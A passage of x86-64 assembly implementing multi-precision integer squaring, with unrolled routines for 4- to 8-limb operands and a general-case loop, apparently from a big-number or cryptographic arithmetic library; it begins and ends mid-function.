movq %rdx, (40)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR4gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov (24)(%rsi), %r11
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
mov %r11, %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (8)(%rsi), %rcx
movq (16)(%rsi), %rax
mul %rcx
xor %r12, %r12
add %rax, %r10
movq (24)(%rsi), %rax
adc %rdx, %r11
adc $(0), %r12
mul %rcx
movq (16)(%rsi), %rcx
add %rax, %r11
movq (24)(%rsi), %rax
adc %rdx, %r12
mul %rcx
xor %r13, %r13
add %rax, %r12
adc %rdx, %r13
mov (%rsi), %rax
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc %r13, %r13
adc $(0), %rcx
mul %rax
mov %rax, (%rdi)
mov (8)(%rsi), %rax
mov %rdx, %rbp
mul %rax
add %rbp, %r8
adc %rax, %r9
mov (16)(%rsi), %rax
mov %r8, (8)(%rdi)
adc $(0), %rdx
mov %r9, (16)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r10
adc %rax, %r11
mov (24)(%rsi), %rax
mov %r10, (24)(%rdi)
adc $(0), %rdx
mov %r11, (32)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r12
adc %rax, %r13
mov %r12, (40)(%rdi)
adc $(0), %rdx
mov %r13, (48)(%rdi)
add %rcx, %rdx
mov %rdx, (56)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.Lmore_then_4gas_1:
cmp $(8), %edx
jg .Lgeneral_casegas_1
cmp $(7), %edx
jg .LSQR8gas_1
je .LSQR7gas_1
jp .LSQR6gas_1
.p2align 5, 0x90
.LSQR5gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov (24)(%rsi), %r11
mov (32)(%rsi), %r12
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
mov %r11, %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
mov %r12, %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
movq (8)(%rsi), %rcx
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rbp
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
add %rbp, %r11
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov %rbp, %r13
movq (16)(%rsi), %rcx
movq (24)(%rsi), %rax
mul %rcx
xor %r14, %r14
add %rax, %r12
movq (32)(%rsi), %rax
adc %rdx, %r13
adc $(0), %r14
mul %rcx
movq (24)(%rsi), %rcx
add %rax, %r13
movq (32)(%rsi), %rax
adc %rdx, %r14
mul %rcx
xor %r15, %r15
add %rax, %r14
adc %rdx, %r15
mov (%rsi), %rax
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc %r13, %r13
adc %r14, %r14
adc %r15, %r15
adc $(0), %rcx
mul %rax
mov %rax, (%rdi)
mov (8)(%rsi), %rax
mov %rdx, %rbp
mul %rax
add %rbp, %r8
adc %rax, %r9
mov (16)(%rsi), %rax
mov %r8, (8)(%rdi)
adc $(0), %rdx
mov %r9, (16)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r10
adc %rax, %r11
mov (24)(%rsi), %rax
mov %r10, (24)(%rdi)
adc $(0), %rdx
mov %r11, (32)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r12
adc %rax, %r13
mov (32)(%rsi), %rax
mov %r12, (40)(%rdi)
adc $(0), %rdx
mov %r13, (48)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r14
adc %rax, %r15
mov %r14, (56)(%rdi)
adc $(0), %rdx
mov %r15, (64)(%rdi)
add %rcx, %rdx
mov %rdx, (72)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR6gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov (24)(%rsi), %r11
mov (32)(%rsi), %r12
mov (40)(%rsi), %r13
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
mov %r11, %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
mov %r12, %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
mov %r13, %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r13
movq (8)(%rsi), %rcx
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rbp
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
add %rbp, %r11
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov %rbp, %r14
movq (16)(%rsi), %rcx
movq (24)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
add %rbp, %r14
adc $(0), %rdx
mov %rdx, %rbp
mov %rbp, %r15
movq (24)(%rsi), %rcx
movq (32)(%rsi), %rax
mul %rcx
xor %rbx, %rbx
add %rax, %r14
movq (40)(%rsi), %rax
adc %rdx, %r15
adc $(0), %rbx
mul %rcx
movq (32)(%rsi), %rcx
add %rax, %r15
movq (40)(%rsi), %rax
adc %rdx, %rbx
mul %rcx
xor %rbp, %rbp
add %rax, %rbx
adc %rdx, %rbp
mov (%rsi), %rax
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc %r13, %r13
adc %r14, %r14
adc %r15, %r15
adc %rbx, %rbx
adc %rbp, %rbp
adc $(0), %rcx
movq %rcx, (%rsp)
mul %rax
mov %rax, (%rdi)
mov (8)(%rsi), %rax
mov %rdx, %rcx
mul %rax
add %rcx, %r8
adc %rax, %r9
mov (16)(%rsi), %rax
mov %r8, (8)(%rdi)
adc $(0), %rdx
mov %r9, (16)(%rdi)
mov %rdx, %rcx
mul %rax
add %rcx, %r10
adc %rax, %r11
mov (24)(%rsi), %rax
mov %r10, (24)(%rdi)
adc $(0), %rdx
mov %r11, (32)(%rdi)
mov %rdx, %rcx
mul %rax
add %rcx, %r12
adc %rax, %r13
mov (32)(%rsi), %rax
mov %r12, (40)(%rdi)
adc $(0), %rdx
mov %r13, (48)(%rdi)
mov %rdx, %rcx
mul %rax
add %rcx, %r14
adc %rax, %r15
mov (40)(%rsi), %rax
mov %r14, (56)(%rdi)
adc $(0), %rdx
mov %r15, (64)(%rdi)
mov %rdx, %rcx
mul %rax
add %rcx, %rbx
adc %rax, %rbp
mov %rbx, (72)(%rdi)
adcq (%rsp), %rdx
mov %rbp, (80)(%rdi)
mov %rdx, (88)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR7gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov (24)(%rsi), %r11
mov (32)(%rsi), %r12
mov (40)(%rsi), %r13
mov (48)(%rsi), %r14
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
mov %r11, %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
mov %r12, %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
mov %r13, %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r13
mov %r14, %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r14
mov (8)(%rsi), %rcx
mov (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rbp
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
add %rbp, %r11
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov (48)(%rsi), %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
add %rbp, %r14
adc $(0), %rdx
mov %rdx, %rbp
mov %rbp, %r15
mov (16)(%rsi), %rcx
xor %rbx, %rbx
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
add %rbp, %r14
adc $(0), %rdx
mov %rdx, %rbp
add %rbp, %r15
adc $(0), %rbx
mov (24)(%rsi), %rax
mulq (32)(%rsi)
add %rax, %r14
adc $(0), %rdx
add %rdx, %r15
adc $(0), %rbx
mov (%rsi), %rax
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc %r13, %r13
adc %r14, %r14
adc $(0), %rcx
mul %rax
mov %rax, (%rdi)
mov (8)(%rsi), %rax
mov %rdx, %rbp
mul %rax
add %rbp, %r8
adc %rax, %r9
mov (16)(%rsi), %rax
mov %r8, (8)(%rdi)
adc $(0), %rdx
mov %r9, (16)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r10
adc %rax, %r11
mov (24)(%rsi), %rax
mov %r10, (24)(%rdi)
adc $(0), %rdx
mov %r11, (32)(%rdi)
mov %rdx, %rbp
mul %rax
add %rbp, %r12
adc %rax, %r13
mov %r12, (40)(%rdi)
adc %rdx, %r14
mov %r13, (48)(%rdi)
adc $(0), %rcx
mov %r14, (56)(%rdi)
mov (16)(%rsi), %rax
xor %r8, %r8
mulq (48)(%rsi)
add %rax, %r15
adc $(0), %rdx
add %rdx, %rbx
adc $(0), %r8
mov (24)(%rsi), %r14
mov (40)(%rsi), %rax
mul %r14
add %rax, %r15
mov (48)(%rsi), %rax
adc %rdx, %rbx
adc $(0), %r8
mul %r14
add %rax, %rbx
adc %rdx, %r8
mov (32)(%rsi), %r14
xor %r9, %r9
mov (40)(%rsi), %rax
mul %r14
add %rax, %rbx
mov (48)(%rsi), %rax
adc %rdx, %r8
adc $(0), %r9
mul %r14
add %rax, %r8
adc %rdx, %r9
mov (40)(%rsi), %r14
xor %r10, %r10
mov (48)(%rsi), %rax
mul %r14
add %rax, %r9
adc %rdx, %r10
mov (32)(%rsi), %rax
xor %r11, %r11
add %r15, %r15
adc %rbx, %rbx
adc %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc $(0), %r11
mul %rax
add %rcx, %r15
adc $(0), %rdx
xor %rcx, %rcx
add %rax, %r15
mov (40)(%rsi), %rax
adc %rdx, %rbx
mov %r15, (64)(%rdi)
adc $(0), %rcx
mov %rbx, (72)(%rdi)
mul %rax
add %rcx, %r8
adc $(0), %rdx
xor %rcx, %rcx
add %rax, %r8
mov (48)(%rsi), %rax
adc %rdx, %r9
mov %r8, (80)(%rdi)
adc $(0), %rcx
mov %r9, (88)(%rdi)
mul %rax
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc %r11, %rdx
mov %r10, (96)(%rdi)
mov %rdx, (104)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.LSQR8gas_1:
mov (%rsi), %r8
mov (8)(%rsi), %r9
mov (16)(%rsi), %r10
mov (24)(%rsi), %r11
mov (32)(%rsi), %r12
mov (40)(%rsi), %r13
mov (48)(%rsi), %r14
mov (56)(%rsi), %r15
mov %r8, %rcx
mov %r9, %rax
mul %rcx
mov %rax, %r8
mov %rdx, %r9
mov %r10, %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
mov %r11, %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
mov %r12, %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
mov %r13, %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r13
mov %r14, %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r14
mov %r15, %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
mov %rdx, %r15
mov (8)(%rsi), %rcx
xor %rbx, %rbx
mov (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rbp
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
add %rbp, %r11
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov (48)(%rsi), %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
add %rbp, %r14
adc $(0), %rdx
mov %rdx, %rbp
add %rbp, %r15
adc $(0), %rbx
mov (16)(%rsi), %rcx
mov (24)(%rsi), %rax
mul %rcx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rbp
mov (32)(%rsi), %rax
mul %rcx
add %rax, %r13
adc $(0), %rdx
add %rbp, %r13
adc $(0), %rdx
mov %rdx, %rbp
mov (40)(%rsi), %rax
mul %rcx
add %rax, %r14
adc $(0), %rdx
add %rbp, %r14
adc $(0), %rdx
mov %rdx, %rbp
add %rbp, %r15
adc $(0), %rbx
mov (24)(%rsi), %rax
mulq (32)(%rsi)
add %rax, %r14
adc $(0), %rdx
add %rdx, %r15
adc $(0), %rbx
xor %rcx, %rcx
add %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc %r13, %r13
adc %r14, %r14
adc $(0), %rcx
mov (%rsi), %rax
mul %rax
mov %rax, (%rdi)
mov %rdx, %rbp
mov (8)(%rsi), %rax
mul %rax
add %rbp, %r8
adc %rax, %r9
mov %r8, (8)(%rdi)
adc $(0), %rdx
mov %r9, (16)(%rdi)
mov %rdx, %rbp
mov (16)(%rsi), %rax
mul %rax
mov %rax, %r8
mov %rdx, %r9
mov (24)(%rsi), %rax
mul %rax
add %rbp, %r10
adc %r8, %r11
mov %r10, (24)(%rdi)
adc %r9, %r12
mov %r11, (32)(%rdi)
adc %rax, %r13
mov %r12, (40)(%rdi)
adc %rdx, %r14
mov %r13, (48)(%rdi)
adc $(0), %rcx
mov %r14, (56)(%rdi)
mov (8)(%rsi), %rax
xor %r8, %r8
mulq (56)(%rsi)
add %rax, %r15
adc $(0), %rdx
add %rdx, %rbx
adc $(0), %r8
mov (16)(%rsi), %r14
mov (48)(%rsi), %rax
mul %r14
add %rax, %r15
adc $(0), %rdx
add %rdx, %rbx
adc $(0), %r8
mov (56)(%rsi), %rax
xor %r9, %r9
mul %r14
add %rax, %rbx
adc $(0), %rdx
add %rdx, %r8
adc $(0), %r9
mov (24)(%rsi), %r14
mov (40)(%rsi), %rax
mul %r14
add %rax, %r15
adc $(0), %rdx
add %rdx, %rbx
adc $(0), %r8
adc $(0), %r9
mov (48)(%rsi), %rax
mul %r14
add %rax, %rbx
adc $(0), %rdx
add %rdx, %r8
adc $(0), %r9
mov (56)(%rsi), %rax
mul %r14
add %rax, %r8
adc $(0), %rdx
add %rdx, %r9
mov (32)(%rsi), %r14
mov (40)(%rsi), %rax
mul %r14
add %rax, %rbx
adc $(0), %rdx
mov %rdx, %r10
mov (48)(%rsi), %rax
mul %r14
add %rax, %r8
adc $(0), %rdx
add %r10, %r8
adc $(0), %rdx
mov %rdx, %r10
mov (56)(%rsi), %rax
mul %r14
add %rax, %r9
adc $(0), %rdx
add %r10, %r9
adc $(0), %rdx
mov %rdx, %r10
mov (40)(%rsi), %r14
mov (48)(%rsi), %rax
mul %r14
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r11
mov (56)(%rsi), %rax
mul %r14
add %rax, %r10
adc $(0), %rdx
add %r11, %r10
adc $(0), %rdx
mov %rdx, %r11
mov (48)(%rsi), %rax
mulq (56)(%rsi)
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
xor %r13, %r13
add %r15, %r15
adc %rbx, %rbx
adc %r8, %r8
adc %r9, %r9
adc %r10, %r10
adc %r11, %r11
adc %r12, %r12
adc $(0), %r13
mov (32)(%rsi), %rax
mul %rax
add %rcx, %rax
adc $(0), %rdx
add %r15, %rax
adc $(0), %rdx
mov %rax, (64)(%rdi)
mov %rdx, %rcx
mov (40)(%rsi), %rax
mul %rax
add %rcx, %rbx
adc %rax, %r8
mov %rbx, (72)(%rdi)
adc $(0), %rdx
mov %r8, (80)(%rdi)
mov %rdx, %rcx
mov (48)(%rsi), %rax
mul %rax
mov %rax, %r15
mov %rdx, %rbx
mov (56)(%rsi), %rax
mul %rax
add %rcx, %r9
adc %r15, %r10
mov %r9, (88)(%rdi)
adc %rbx, %r11
mov %r10, (96)(%rdi)
adc %rax, %r12
mov %r11, (104)(%rdi)
adc %rdx, %r13
mov %r12, (112)(%rdi)
mov %r13, (120)(%rdi)
mov %rdx, %rax
add $(40), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 5, 0x90
.Lgeneral_casegas_1:
movslq %edx, %rdx
mov %rdi, (%rsp)
mov %rsi, (8)(%rsp)
mov %rdx, (16)(%rsp)
mov %rdx, %r8
mov $(2), %rax
mov $(1), %rbx
test $(1), %r8
cmove %rbx, %rax
sub %rax, %rdx
lea (%rsi,%rax,8), %rsi
lea (%rdi,%rax,8), %rdi
lea (-32)(%rsi,%rdx,8), %rsi
lea (-32)(%rdi,%rdx,8), %rdi
mov $(4), %rcx
sub %rdx, %rcx
test $(1), %r8
jnz .Linit_odd_len_operationgas_1
.Linit_even_len_operationgas_1:
movq (-8)(%rsi,%rcx,8), %r10
movq (%rsi,%rcx,8), %rax
xor %r12, %r12
cmp $(0), %rcx
jge .Lskip_mul1gas_1
mov %rcx, %rbx
.p2align 4, 0x90
.L__0065gas_1:
mul %r10
xor %r13, %r13
add %rax, %r12
movq %r12, (%rdi,%rbx,8)
movq (8)(%rsi,%rbx,8), %rax
adc %rdx, %r13
mul %r10
xor %r14, %r14
add %rax, %r13
movq %r13, (8)(%rdi,%rbx,8)
movq (16)(%rsi,%rbx,8), %rax
adc %rdx, %r14
mul %r10
xor %r15, %r15
add %rax, %r14
movq %r14, (16)(%rdi,%rbx,8)
movq (24)(%rsi,%rbx,8), %rax
adc %rdx, %r15
mul %r10
xor %r12, %r12
add %rax, %r15
movq %r15, (24)(%rdi,%rbx,8)
movq (32)(%rsi,%rbx,8), %rax
adc %rdx, %r12
add $(4), %rbx
jnc .L__0065gas_1
.Lskip_mul1gas_1:
cmp $(1), %rbx
jne .Lfin_mulx1_3gas_1
.Lfin_mulx1_1gas_1:
mul %r10
xor %r13, %r13
add %rax, %r12
movq %r12, (8)(%rdi)
movq (16)(%rsi), %rax
adc %rdx, %r13
mul %r10
xor %r14, %r14
add %rax, %r13
movq %r13, (16)(%rdi)
movq (24)(%rsi), %rax
adc %rdx, %r14
mul %r10
add $(2), %rcx
add %rax, %r14
movq %r14, (24)(%rdi)
adc $(0), %rdx
movq %rdx, (32)(%rdi)
add $(8), %rdi
jmp .Lodd_pass_pairsgas_1
.Lfin_mulx1_3gas_1:
mul %r10
add $(2), %rcx
add %rax, %r12
movq %r12, (24)(%rdi)
adc $(0), %rdx
movq %rdx, (32)(%rdi)
add $(8), %rdi
jmp .Leven_pass_pairsgas_1
.Linit_odd_len_operationgas_1:
movq (-16)(%rsi,%rcx,8), %r10
movq (-8)(%rsi,%rcx,8), %r11
mov %r11, %rax
mul %r10
movq %rax, (-8)(%rdi,%rcx,8)
movq (%rsi,%rcx,8), %rax
mov %rdx, %r12
mul %r10
xor %r13, %r13
xor %r14, %r14
add %rax, %r12
movq (%rsi,%rcx,8), %rax
adc %rdx, %r13
cmp $(0), %rcx
jge .Lskip_mul_nx2gas_1
mov %rcx, %rbx
.p2align 5, 0x90
.L__0066gas_1:
mul %r11
xor %r15, %r15
add %rax, %r13
movq (8)(%rsi,%rbx,8), %rax
adc %rdx, %r14
mul %r10
movq %r12, (%rdi,%rbx,8)
add %rax, %r13
movq (8)(%rsi,%rbx,8), %rax
adc %rdx, %r14
adc $(0), %r15
mul %r11
xor %r12, %r12
add %rax, %r14
movq (16)(%rsi,%rbx,8), %rax
adc %rdx, %r15
mul %r10
movq %r13, (8)(%rdi,%rbx,8)
add %rax, %r14
movq (16)(%rsi,%rbx,8), %rax
adc %rdx, %r15
adc $(0), %r12
mul %r11
xor %r13, %r13
add %rax, %r15
movq (24)(%rsi,%rbx,8), %rax
adc %rdx, %r12
mul %r10
movq %r14, (16)(%rdi,%rbx,8)
add %rax, %r15
movq (24)(%rsi,%rbx,8), %rax
adc %rdx, %r12
adc $(0), %r13
mul %r11
xor %r14, %r14
add %rax, %r12
movq (32)(%rsi,%rbx,8), %rax
adc %rdx, %r13
mul %r10
movq %r15, (24)(%rdi,%rbx,8)
add %rax, %r12
movq (32)(%rsi,%rbx,8), %rax
adc %rdx, %r13
adc $(0), %r14
add $(4), %rbx
jnc .L__0066gas_1
.Lskip_mul_nx2gas_1:
cmp $(1), %rbx
jnz .Lfin_mul2x_3gas_1
.Lfin_mul2x_1gas_1:
mul %r11
xor %r15, %r15
add %rax, %r13
movq (16)(%rsi), %rax
adc %rdx, %r14
mul %r10
movq %r12, (8)(%rdi)
add %rax, %r13
movq (16)(%rsi), %rax
adc %rdx, %r14
adc $(0), %r15
mul %r11
xor %r12, %r12
add %rax, %r14
movq (24)(%rsi), %rax
adc %rdx, %r15
mul %r10
movq %r13, (16)(%rdi)
add %rax, %r14
movq (24)(%rsi), %rax
adc %rdx, %r15
adc $(0), %r12
mul %r11
add $(2), %rcx
movq %r14, (24)(%rdi)
add %rax, %r15
adc %r12, %rdx
movq %r15, (32)(%rdi)
movq %rdx, (40)(%rdi)
add $(16), %rdi
jmp .Lodd_pass_pairsgas_1
.Lfin_mul2x_3gas_1:
mul %r11
add $(2), %rcx
movq %r12, (24)(%rdi)
add %rax, %r13
adc %r14, %rdx
movq %r13, (32)(%rdi)
movq %rdx, (40)(%rdi)
add $(16), %rdi
.p2align 5, 0x90
.Leven_pass_pairsgas_1:
movq (-16)(%rsi,%rcx,8), %r10
movq (-8)(%rsi,%rcx,8), %r11
mov %r11, %rax
mul %r10
xor %r12, %r12
addq %rax, (-8)(%rdi,%rcx,8)
movq (%rsi,%rcx,8), %rax
adc %rdx, %r12
mul %r10
xor %r13, %r13
xor %r14, %r14
add %rax, %r12
movq (%rsi,%rcx,8), %rax
adc %rdx, %r13
cmp $(0), %rcx
jge .Lskip1gas_1
mov %rcx, %rbx
.p2align 5, 0x90
.L__0067gas_1:
mul %r11
xor %r15, %r15
add %rax, %r13
movq (8)(%rsi,%rbx,8), %rax
adc %rdx, %r14
mul %r10
addq (%rdi,%rbx,8), %r12
movq %r12, (%rdi,%rbx,8)
adc %rax, %r13
adc %rdx, %r14
adc $(0), %r15
movq (8)(%rsi,%rbx,8), %rax
mul %r11
xor %r12, %r12
add %rax, %r14
adc %rdx, %r15
movq (16)(%rsi,%rbx,8), %rax
mul %r10
addq (8)(%rdi,%rbx,8), %r13
movq %r13, (8)(%rdi,%rbx,8)
adc %rax, %r14
adc %rdx, %r15
adc $(0), %r12
movq (16)(%rsi,%rbx,8), %rax
mul %r11
xor %r13, %r13
add %rax, %r15
adc %rdx, %r12
movq (24)(%rsi,%rbx,8), %rax
mul %r10
addq (16)(%rdi,%rbx,8), %r14
movq %r14, (16)(%rdi,%rbx,8)
adc %rax, %r15
adc %rdx, %r12
adc $(0), %r13
movq (24)(%rsi,%rbx,8), %rax
mul %r11
xor %r14, %r14
add %rax, %r12
adc %rdx, %r13
movq (32)(%rsi,%rbx,8), %rax
mul %r10
addq (24)(%rdi,%rbx,8), %r15
movq %r15, (24)(%rdi,%rbx,8)
adc %rax, %r12
adc %rdx, %r13
adc $(0), %r14
movq (32)(%rsi,%rbx,8), %rax
add $(4), %rbx
jnc .L__0067gas_1
.Lskip1gas_1:
mul %r11
xor %r15, %r15
add %rax, %r13
movq (16)(%rsi), %rax
adc %rdx, %r14
mul %r10
addq (8)(%rdi), %r12
movq %r12, (8)(%rdi)
adc %rax, %r13
adc %rdx, %r14
adc $(0), %r15
movq (16)(%rsi), %rax
mul %r11
xor %r12, %r12
add %rax, %r14
adc %rdx, %r15
movq (24)(%rsi), %rax
mul %r10
addq (16)(%rdi), %r13
movq %r13, (16)(%rdi)
adc %rax, %r14
adc %rdx, %r15
adc $(0), %r12
movq (24)(%rsi), %rax
mul %r11
add $(2), %rcx
addq (24)(%rdi), %r14
movq %r14, (24)(%rdi)
adc %rax, %r15
adc %r12, %rdx
movq %r15, (32)(%rdi)
movq %rdx, (40)(%rdi)
add $(16), %rdi
.Lodd_pass_pairsgas_1:
movq (-16)(%rsi,%rcx,8), %r10
movq (-8)(%rsi,%rcx,8), %r11
mov %r11, %rax
mul %r10
xor %r12, %r12
addq %rax, (-8)(%rdi,%rcx,8)
movq (%rsi,%rcx,8), %rax
adc %rdx, %r12
mul %r10
xor %r13, %r13
xor %r14, %r14
add %rax, %r12
movq (%rsi,%rcx,8), %rax
adc %rdx, %r13
cmp $(0), %rcx
jge .Lskip2gas_1
mov %rcx, %rbx
.p2align 5, 0x90
.L__0068gas_1:
mul %r11
xor %r15, %r15
add %rax, %r13
movq (8)(%rsi,%rbx,8), %rax
adc %rdx, %r14
mul %r10
addq (%rdi,%rbx,8), %r12
movq %r12, (%rdi,%rbx,8)
adc %rax, %r13
adc %rdx, %r14
adc $(0), %r15
movq (8)(%rsi,%rbx,8), %rax
mul %r11
xor %r12, %r12
add %rax, %r14
adc %rdx, %r15
movq (16)(%rsi,%rbx,8), %rax
mul %r10
addq (8)(%rdi,%rbx,8), %r13
movq %r13, (8)(%rdi,%rbx,8)
adc %rax, %r14
adc %rdx, %r15
adc $(0), %r12
movq (16)(%rsi,%rbx,8), %rax
mul %r11
xor %r13, %r13
add %rax, %r15
adc %rdx, %r12
movq (24)(%rsi,%rbx,8), %rax
mul %r10
addq (16)(%rdi,%rbx,8), %r14
movq %r14, (16)(%rdi,%rbx,8)
adc %rax, %r15
adc %rdx, %r12
adc $(0), %r13
movq (24)(%rsi,%rbx,8), %rax
mul %r11
xor %r14, %r14
add %rax, %r12
adc %rdx, %r13
movq (32)(%rsi,%rbx,8), %rax
mul %r10
addq (24)(%rdi,%rbx,8), %r15
movq %r15, (24)(%rdi,%rbx,8)
adc %rax, %r12
adc %rdx, %r13
adc $(0), %r14
movq (32)(%rsi,%rbx,8), %rax
add $(4), %rbx
jnc .L__0068gas_1
.Lskip2gas_1:
mul %r11
add $(2), %rcx
addq (24)(%rdi), %r12
movq %r12, (24)(%rdi)
adc %rax, %r13
adc %r14, %rdx
movq %r13, (32)(%rdi)
movq %rdx, (40)(%rdi)
add $(16), %rdi
cmp $(4), %rcx
jl .Leven_pass_pairsgas_1
.Ladd_diaggas_1:
mov (%rsp), %rdi
mov (8)(%rsp), %rsi
mov (16)(%rsp), %rcx
xor %rbx, %rbx
xor %r12, %r12
xor %r13, %r13
lea (%rdi,%rcx,8), %rax
lea (%rsi,%rcx,8), %rsi
movq %r12, (%rdi)
movq %r12, (-8)(%rax,%rcx,8)
neg %rcx
.p2align 5, 0x90
.Ladd_diag_loopgas_1:
movq (%rsi,%rcx,8), %rax
mul %rax
movq (%rdi), %r14
movq (8)(%rdi), %r15
add $(1), %r12
adc %r14, %r14
adc %r15, %r15
sbb %r12, %r12
add $(1), %r13
adc %rax, %r14
adc %rdx, %r15
sbb %r13, %r13
movq %r14, (%rdi)
movq %r15, (8)(%rdi)
